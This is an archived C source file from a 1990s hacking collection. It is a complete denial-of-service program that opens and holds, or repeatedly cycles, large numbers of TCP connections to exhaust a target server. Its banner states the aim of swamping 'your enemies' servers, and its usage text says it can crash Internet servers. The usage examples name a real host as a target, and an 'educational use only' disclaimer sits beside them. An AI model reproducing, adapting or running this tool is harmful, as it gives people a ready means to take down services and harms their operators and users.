home *** CD-ROM | disk | FTP | other *** search
/ The Hacker's Encyclopedia 1998 / hackers_encyclopedia.iso / hacking / internet / dosatack.c < prev    next >
Encoding:
C/C++ Source or Header  |  2003-06-11  |  6.5 KB  |  218 lines

  1.  
  2. /***************************************************************************/
  3. /*                                                                         */
  4. /*                \=/,         _-===-_-====-_-===-_-==========-_-====-_    */
  5. /*                |  @___oo   (          Denial Of Service             )_  */
  6. /*      /\  /\   / (___,,,}_--=    Opens Many Dangling TCP Connections   ) */
  7. /*     ) /^\) ^\/ _)        =__        to swamp TCP servers of your     )  */
  8. /*     )   /^\/   _)          (_              enemies.                  )  */
  9. /*     )   _ /  / _)            (                                        ) */
  10. /* /\  )/\/ ||  | )_)            (_        Educational Use Only!        )  */
  11. /*<  >      |(,,) )__)             (  Ignoramus_Chewed-Off@algebra.com   ) */
  12. /* ||      /    \)___)\             (_            1997                 __) */
  13. /* | \____(      )___) )___           -==-_____-=====-_____-=====-___==    */
  14. /*  \______(_______;;; __;;;                                               */
  15. /*                                                                         */
  16. /***************************************************************************/
  17.  
  18.  
  19.  
  20. const char * Usage =
  21. "Error: %s\n"
  22. "USAGE: %s (block|grind) hostname service# #connections\n"
  23. "\n"
  24. "This program opens #connections connections to the specified host.\n"
  25. "It can be used to deny services, slow down and crash Internet servers.\n"
  26. "\n"
  27. "If #connections is set to 0, it opens as many connections as it can\n"
  28. "and continues trying to do so as long as it runs. Use Control-C to \n"
  29. "interrupt it. NOTE that depending on your OS, it may hurt you too.\n"
  30. "\n"
  31. "If #connections is not 0, this program only opens #connections of them.\n"
  32. "After that, if the first argument is 'block', it simply sleeps. If the\n"
  33. "first argument is 'grind', it starts opening and closing connections\n"
  34. "in a round robin manner every second.\n"
  35. "\n"
  36. "This program is for EDUCATIONAL USE ONLY. Please do not use it for\n"
  37. "anything illegal. There is no warranty. Copyright(C) Ignoramus Chewed-Off.\n"
  38. "\n"
  39. "USE EXAMPLE: \n"
  40. "    %s grind victim.com 80 1000\n"
  41. "-- opens 1000 HTTP connections to victim.com and waits\n"
  42. "    %s block www.agis.net 80 0\n"
  43. "-- constantly attempts to open HTTP connections to www.agis.net\n"
  44. ;
  45.  
  46. #include <stdio.h>
  47. #include <string.h>
  48. #include <stdlib.h>
  49. #include <sys/types.h>
  50. #include <netdb.h>
  51. #include <sys/socket.h>
  52. #include <netinet/in.h>
  53.  
  54. #define USAGE( msg )   \
  55.    fprintf( stderr, Usage, msg, argv[0], argv[0], argv[0] ), \
  56.    exit( 1 )
  57.  
  58. /* after I open this many additional connections (for n_connections == 0),
  59.    I wait for 1 second, just in case
  60. */
  61.  
  62. #define MAX_CONN 50
  63.  
  64. typedef enum { CON_BLOCK, CON_GRIND } ConMode;
  65.  
  66. /* create a client socket connected to PORT on HOSTNAME */
  67. int create_client_socket(char ** hostname, int port)
  68. {
  69.     struct sockaddr_in sa ;
  70.     struct hostent *hp ;
  71.     int a, s ;
  72.     long addr ;
  73.  
  74.  
  75.     bzero(&sa, sizeof(sa)) ;
  76.     if ((addr = inet_addr(*hostname)) != -1) {
  77.         /* is Internet addr in octet notation */
  78.         bcopy(&addr, (char *) &sa.sin_addr, sizeof(addr)) ; /* set address */
  79.         sa.sin_family = AF_INET ;
  80.     } else {
  81.         /* do we know the host's address? */
  82.         if ((hp = gethostbyname(*hostname)) == NULL) {
  83.             return -2 ;
  84.         }
  85.         *hostname = hp->h_name ;
  86.         bcopy(hp->h_addr, (char *) &sa.sin_addr, hp->h_length) ;
  87.         sa.sin_family = hp->h_addrtype ;
  88.     }
  89.  
  90.     sa.sin_port = htons((u_short) port) ;
  91.  
  92.     if ((s = socket(sa.sin_family, SOCK_STREAM, 0)) < 0) { /* get socket */
  93.         return -1 ;
  94.     }
  95.     if (connect(s, (struct sockaddr *)&sa, sizeof(sa)) < 0) {  /* connect */
  96.         close(s) ;
  97.         return -1 ;
  98.     }
  99.     return s ;
  100. }
  101.  
  102. int main( int argc, char *argv[] )
  103. {
  104.   char * name;
  105.   int port, n_connections;
  106.   int s;
  107.   ConMode mode;
  108.  
  109.  
  110.   if( argc != 5
  111.       || (argc >= 1 && (!strcmp( argv[1], "--help" )
  112.                         || !strcmp( argv[1], "-help" ))))
  113.     {
  114.       USAGE( "Wrong Number of Arguments" );
  115.     }
  116.  
  117.   if( !strcmp( argv[1], "block" ) )
  118.     {
  119.       mode = CON_BLOCK;
  120.     }
  121.   else if( !strcmp( argv[1], "grind" ) )
  122.     {
  123.       mode = CON_GRIND;
  124.     }
  125.   else
  126.     {
  127.       USAGE( "First argument must be 'block' or 'grind'" );
  128.     }
  129.  
  130.   name = argv[2];
  131.  
  132.   if( (port = atoi( argv[3] ) ) == 0 )
  133.     {
  134.       USAGE( "Port Number must be numeric" );
  135.     }
  136.  
  137.   if( !isdigit( argv[4][0] ) )
  138.     {
  139.       USAGE( "Port Number must be numeric" );;
  140.     }
  141.  
  142.   n_connections = atoi( argv[4] );
  143.  
  144.   if( n_connections == 0 ) /* infinite loop */
  145.     {
  146.       int i = 0;
  147.       printf( "ATTENTION: This may damage even your "
  148.                "computer. Press ^C to abort\n" );
  149.  
  150.       while( 1 )
  151.         {
  152.           if( create_client_socket( &name, port ) == -1 )
  153.             {
  154.               printf( "Connection refused; sleeping.\n" );
  155.               sleep( 1 );
  156.             }
  157.           else
  158.             {
  159.               if( (i++ % MAX_CONN) == (MAX_CONN-1) )
  160.                 {
  161.                   printf( "You can interrupt me here. I have %d "
  162.                           "connections open. \nContinuing...\n", i );
  163.                   sleep( 1 );
  164.                 }
  165.             }
  166.         }
  167.     }
  168.   else
  169.     {
  170.       int * fds = (int *)calloc( n_connections, sizeof( int ) );
  171.       int i = 0;
  172.  
  173.       if( fds == 0 )
  174.         USAGE( "Memory Allocation Error" );
  175.  
  176.       while( 1 ) /* in a loop, keep opening descriptors */
  177.         {
  178.           if( fds[i] != 0 )
  179.             {
  180.               printf( "Closing %d...\n", i );
  181.               close( fds[i] );
  182.             }
  183.  
  184.           while( 1 ) /* try to open the new one */
  185.             {
  186.               if( (fds[i] = create_client_socket( &name, port )) == -1 )
  187.                 {
  188.                   printf( "Connection refused; sleeping.\n" );
  189.                   sleep( 1 );
  190.                 }
  191.               else
  192.                 {
  193.                   printf( "Opened %d.\n", i );
  194.                   break;
  195.                 }
  196.             }
  197.  
  198.           i++;
  199.  
  200.           if( i == n_connections ) /* we've gone full circle */
  201.             {
  202.               printf( "Done with %d connections\n", i );
  203.  
  204.               if( mode == CON_BLOCK )
  205.                 {
  206.                   printf( "I am going to sleep forever...\n", i );
  207.                   while( 1 )
  208.                     sleep(1);
  209.                 }
  210.               else /* repeating the loop */
  211.                 i = 0;
  212.               sleep( 1 );
  213.             }
  214.         }
  215.     }
  216. }
  217.  
  218.